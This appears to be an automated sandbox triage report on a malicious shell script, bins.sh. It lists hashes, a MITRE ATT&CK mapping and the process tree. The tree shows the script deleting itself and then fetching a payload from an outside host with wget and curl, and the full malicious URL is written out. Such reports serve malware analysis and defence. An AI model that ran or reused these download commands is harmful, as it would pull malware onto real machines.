0f9f5bb331627f69eee9c2c04bbd5a4a438e270cc06ce7e9fd83cc1e767c0dbc | Triage

Analysis

max time kernel
148s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01-11-2024 14:47

Sharing

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

34a92cb938aac16d779a1edcf7241bed
SHA1

5c5ae7fb00b113a338b265c8e196cce7ea5ca7dc
SHA256

0f9f5bb331627f69eee9c2c04bbd5a4a438e270cc06ce7e9fd83cc1e767c0dbc
SHA512

1241abfd10b5463883b8057fd027ab22ac93e0dde97eec5a21812a974df0b8c8de13a62dbc562aaa5f825854522a6fa84f988a8de1373e6e920db6c3403f6a80
SSDEEP

192:IyxloHnBAdFOnLDEHkSqtsY7qjSqtsYeNxloHnqdFOnLd:IXAdFOnLDEHkSqtsY7sSqtsYmdFOnLd

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

1505 wget
1509 curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1503

/bin/rm
/bin/rm bins.sh
2⤵
PID:1504

/usr/bin/wget
wget http://conn.masjesu.zip/bins/8b3foTBAG8j9CY4RQUEOWukXNyiFcJwzkd
2⤵
- System Network Configuration Discovery
PID:1505

/usr/bin/curl
curl -O http://conn.masjesu.zip/bins/8b3foTBAG8j9CY4RQUEOWukXNyiFcJwzkd
2⤵
- System Network Configuration Discovery
PID:1509

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads